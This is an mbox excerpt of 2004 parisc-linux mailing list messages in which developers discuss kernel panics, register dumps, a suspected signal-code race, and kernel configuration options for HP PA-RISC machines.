X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rray@tcmail.mstc.state.ms.us
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 1916 invoked by uid 65534); 10 Dec 2004 19:29:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx023) with SMTP; 10 Dec 2004 20:29:24 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DA3513BE48; Fri, 10 Dec 2004 12:29:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17004-01; Fri, 10 Dec 2004 12:29:20 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id F31253BE26; Fri, 10 Dec 2004 12:28:51 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 28FC83BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 10 Dec 2004 12:28:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16518-07 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 10 Dec 2004 12:28:47 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id B63703BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 10 Dec 2004 12:28:46 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id C88C2298038; Fri, 10 Dec 2004 12:28:45 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07534-08; Fri, 10 Dec 2004 12:28:35 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B17DF298033; Fri, 10 Dec 2004 12:28:35 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0412060817380.21506@rray.drdc.mstc.ms.gov>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22198

On Mon, Dec 06, 2004 at 09:03:03AM -0600, rray@tcmail.mstc.state.ms.us wrote:
> Enabling CONFIG_FRAMEBUFFER_CONSOLE fixed the problem.

good.

> I was able to to complete the build.
> I've attached my .config
> 
> But I get a kernel panic when I boot.
...
> Backtrace:
>  [<1031d594>] ncr53c8xx_intr+0x4c/0xbc
>  [<10107ad8>] do_irq+0xbc/0x19c
>  [<10107c48>] do_cpu_irq_mask+0x90/0xf0
>  [<1010d068>] intr_return+0x0/0x24
>  [<10113fc8>] machine_restart+0x0/0x2c
> Kernel Fault: Code=26 regs=10ac4500 (Addr=00000114)

Can you remind me which platform you are booting this on?

> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001000000000000001110 Not tainted
> r00-03  00000000 1049a810 1031c2b0 27e7f000
> r04-07  00000000 00000000 27e7e000 00000000
> r08-11  27e7e458 00000001 10508010 10489810
> r12-15  000000f2 00000001 000000fd 000000f3
> r16-19  10ac4100 00000002 f0000064 00000003
> r20-23  00000001 00000000 f1800800 27e7e458
> r24-27  ffffffff 00000006 27e7e000 10487010
> r28-31  0000000e 105c2810 10ac4500 00000040
> sr0-3   00000000 00000000 00000000 00000000
> sr4-7   00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: 1031c2b8 1031c2bc
>  IIR: 68e50228    ISR: 00000000  IOR: 00000114
>  CPU:        1   CR30: 10ac4000 CR31: f004f000
>  ORIG_R28: 105bab7c
>  IAOQ[0]: ncr_int_sir+0x414/0x80c
>  IAOQ[1]: ncr_int_sir+0x418/0x80c
>  RP(r2): ncr_int_sir+0x40c/0x80c

This is clearly a driver bug. I have no clue about
that particular driver though and can't look at it now.
I hope someone else can.

thanks for the report,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: godd news [[WasRe: [parisc-linux] but still panic:
	[WAS:	2.6.10-rc1-pa15 boot fine	on n4k but still	annoying bactrace]]
Date: Sun, 12 Dec 2004 12:00:21 +0000
Lines: 70
Approved: news@gmane.org
Message-ID: <41BC32D5.5000607@tiscali.be>
References: <418A81310000E136@mail-7-bnl.tiscali.it>
	<1102645279.3814.1.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623622 11990 80.91.229.3 (22 Nov 2014 02:33:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:42 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 24490 invoked by uid 65534); 12 Dec 2004 12:01:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx014) with SMTP; 12 Dec 2004 13:01:03 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 493103BE45; Sun, 12 Dec 2004 05:00:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12111-01; Sun, 12 Dec 2004 05:00:54 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D05AA3BE26; Sun, 12 Dec 2004 05:00:31 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E821D3BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Dec 2004 05:00:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 11575-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Dec 2004 05:00:25 -0700 (MST)
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by free.linux.hp.com (Postfix) with ESMTP id 004253BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Dec 2004 05:00:24 -0700 (MST)
Original-Received: from [83.134.228.5] (helo=[83.134.228.5])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1CdSOl-00024J-B3; Sun, 12 Dec 2004 13:00:23 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.3) Gecko/20041007 Debian/1.7.3-5
X-Accept-Language: en
In-Reply-To: <1102645279.3814.1.camel@mulgrave>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22199

Hello James,

James Bottomley wrote:
> On Thu, 2004-12-09 at 18:47 +0000, Joel Soete wrote:
> 
>>Now that's a bit more then 48h that loop is running on n4k with k-2.6.10-rc3-pa3
>>(already rebuild 214 time ;-)
> 
> 
> Well, this isn't necessarily good news.  I still think the problem is
> triggered by a race in the signal code.  However, if its no longer
> tripping, it means that the code has changed to obscure it ... which
> means it's not going to get fixed until it shows up again.
> 
> James
> 
> 
> 
You had right (i was just luky in the previous test):
Backtrace:
  [<0000000010165698>] update_process_times+0x50/0x90
  [<0000000010120fa0>] smp_do_timer+0x78/0x80
  [<0000000010115938>] timer_interrupt+0xd8/0x2f0
  [<0000000010116630>] do_irq+0xd8/0x1e8
  [<0000000010116820>] do_cpu_irq_mask+0xe0/0x150
  [<0000000010107074>] intr_return+0x0/0x24


Kernel Fault: Code=26 regs=0000000068750dc0 (Addr=00000000000000d0)

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001110 Not tainted
r00-03  0000000000000000 ffffffffffff3d80 000000001016554c 000000001061ef20
r04-07  000000008f24f738 00000000000000de 0000000000000000 0000000000000000
r08-11  0000000000000001 0000000068750580 0000000000000010 000000008f24f7d8
r12-15  00000000ffffff7d 0000000000023d30 000000008f24f850 0000000068750410
r16-19  0000000068750580 00000000000eddc8 0000000000000000 0000000000000000
r20-23  0000000037800000 0000000037800000 0000000000000000 0000000000003780
r24-27  0000000000000000 0000000000000000 0000000000003780 000000001061ef20
r28-31  0000000000000000 0000000000000000 0000000068750dc0 000000000000fa00
sr0-3   0000000003e2f000 0000000000000000 0000000000000000 0000000003e2f000
sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000010165554 0000000010165558
  IIR: 527401a0    ISR: 0000000000000000  IOR: 00000000000000d0
  CPU:        0   CR30: 0000000068750000 CR31: 00000000105e4000
  ORIG_R28: 0000000010463c58
  IAOQ[0]: update_one_process+0x74/0x168
  IAOQ[1]: update_one_process+0x78/0x168
  RP(r2): update_one_process+0x6c/0x168
Kernel panic - not syncing: Kernel Fault
  <0>Rebooting in 120 seconds..

this time it panics after 138 loop only?

I well reach to build a kernel with CONFIG_DEBUG_RWLOCK
<http://lists.parisc-linux.org/pipermail/parisc-linux/2004-December/025337.html>

but failed to boot.

Don't you think it could help to debug this pb?

Thanks for all,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.10-rc2-pa2 build failing
Date: Sun, 12 Dec 2004 12:56:28 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20041212195628.GA20842@colo.lackof.org>
References: <Pine.LNX.4.58.0412031551120.3169@rray.drdc.mstc.ms.gov>
	<20041204190201.GC30126@colo.lackof.org>
	<Pine.LNX.4.58.0412060817380.21506@rray.drdc.mstc.ms.gov>
	<20041210192835.GF6653@colo.lackof.org>
	<41BADB3C.8000602@tiscali.be> <41BAE2D5.4010201@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623623 11993 80.91.229.3 (22 Nov 2014 02:33:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:43 +0000 (UTC)
Cc: rray@tcmail.mstc.state.ms.us,
 parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 21726 invoked by uid 65534); 12 Dec 2004 19:58:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx067) with SMTP; 12 Dec 2004 20:58:12 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9904D3BE48; Sun, 12 Dec 2004 12:58:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16709-10; Sun, 12 Dec 2004 12:58:03 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 395A83BE49; Sun, 12 Dec 2004 12:57:37 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1B2123BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Dec 2004 12:57:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16385-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Dec 2004 12:57:32 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 8A0D23BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Dec 2004 12:57:31 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id A0C76298052; Sun, 12 Dec 2004 12:57:30 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21166-04; Sun, 12 Dec 2004 12:56:29 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 2434E298058; Sun, 12 Dec 2004 12:56:28 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <41BAE2D5.4010201@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22200

On Sat, Dec 11, 2004 at 12:06:45PM +0000, Joel Soete wrote:
> (iirc you can also safely get rid of pci stuff on your k )

He can but might need it for card-mode Dino 100BT cards.
BTW,I have 2 dual port 100BT HSC cards if anyone wants them.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] make SEGV
Date: Sun, 12 Dec 2004 16:40:30 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <20041213004030.GH29171@tausq.org>
References: <200412122200.iBCM0FVH010152@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623623 11995 80.91.229.3 (22 Nov 2014 02:33:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 17652 invoked by uid 65534); 13 Dec 2004 00:41:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx044) with SMTP; 13 Dec 2004 01:41:21 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9DBB43BE48; Sun, 12 Dec 2004 17:41:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19371-07; Sun, 12 Dec 2004 17:41:18 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BC0483BE4A; Sun, 12 Dec 2004 17:40:41 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A20183BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Dec 2004 17:40:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 19371-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Dec 2004 17:40:34 -0700 (MST)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id 1A8583BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Dec 2004 17:40:34 -0700 (MST)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id 0224F111F48; Sun, 12 Dec 2004 16:40:30 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200412122200.iBCM0FVH010152@hiauly1.hia.nrc.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22201

In reference to a message from John David Anglin, dated Dec 12:
> This is on gsyprf11.  We had a SIGSEGV because r26 is 0 but how
> did r26 get to be 0?

Do you still have the corefile for this? does "info register" give
register values that are the same as what you see with "p $r26"?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.10-rc2-pa2 build failing
Date: Mon, 13 Dec 2004 04:41:53 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <20041213044153.GD27199@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.58.0412031551120.3169@rray.drdc.mstc.ms.gov>
	<20041204190201.GC30126@colo.lackof.org>
	<Pine.LNX.4.58.0412060817380.21506@rray.drdc.mstc.ms.gov>
	<20041210192835.GF6653@colo.lackof.org>
	<41BADB3C.8000602@tiscali.be> <41BAE2D5.4010201@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623623 12000 80.91.229.3 (22 Nov 2014 02:33:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:43 +0000 (UTC)
Cc: rray@tcmail.mstc.state.ms.us,
 parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 25858 invoked by uid 65534); 13 Dec 2004 04:42:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx012) with SMTP; 13 Dec 2004 05:42:40 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 34B103BC80; Sun, 12 Dec 2004 21:42:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22301-02; Sun, 12 Dec 2004 21:42:35 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EA6813BE49; Sun, 12 Dec 2004 21:42:04 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 91BA53BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Dec 2004 21:41:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 20618-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Dec 2004 21:41:56 -0700 (MST)
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id DE1683BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Dec 2004 21:41:55 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1Cdi1x-0003uZ-GG; Mon, 13 Dec 2004 04:41:53 +0000
Content-Disposition: inline
In-Reply-To: <41BAE2D5.4010201@tiscali.be>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22202

On Sat, Dec 11, 2004 at 12:06:45PM +0000, Joel Soete wrote:
> >A K200 iirc?
> 
> Sorry for auto-reply but I go back to your previous mail and compare your 
> config file with mine and noticed some details:
> 
> 1) may be you need hppb bus option ON; the diff shows me:
> --- k200-hp-debian-1_config	2004-12-11 12:38:46.307780990 +0100
> +++ config-2.6.10-rc3-pa5	2004-12-11 12:36:59.434552100 +0100
> [...]
> -# CONFIG_HPPB is not set
> +CONFIG_HPPB=y

Shouldn't make any difference; the ncr720 is on the GSC bus.
http://www.openpa.net/systems/hawk.html shows the K class does have HPPB
slots, so I would suggest that you both have the HPPB option set wrongly;
there is no HPPB on the C class workstations, but there is for K class.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:47 2018
X-Mozilla-Status: 0001
